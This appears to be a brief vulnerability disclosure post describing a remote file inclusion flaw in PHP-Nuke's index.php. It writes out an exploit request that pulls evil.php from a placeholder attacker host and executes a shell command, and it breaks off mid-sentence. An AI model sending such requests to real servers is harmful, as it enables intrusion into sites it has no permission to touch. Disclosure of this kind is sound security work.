Subject: PHP-Nuke allows Command Execution & Much more
I've found a serious security flaw in PHP-Nuke.
It allows user to execute any PHP code.
The flaw is in the index.php's include file feature.
It allows including files like index.php?file=file
It prevents users including ..'s in URL's, but
it didn't prevent users from entering http://-urls
Remember the PHP's remote get feature...
How to exploit:
Upload this file to some free web space provider or
setup your own server:
Then just requesting http://insecure-server/index.php?file=http://where.the.bad.php.file.is/evil.php&cmd=ls%20-al
will execute ls -al command.
I will not upload the file anywhere to prevent too easy exploiting. (No script kiddies)
I contacted the author on 28.12.2001 and he hasn't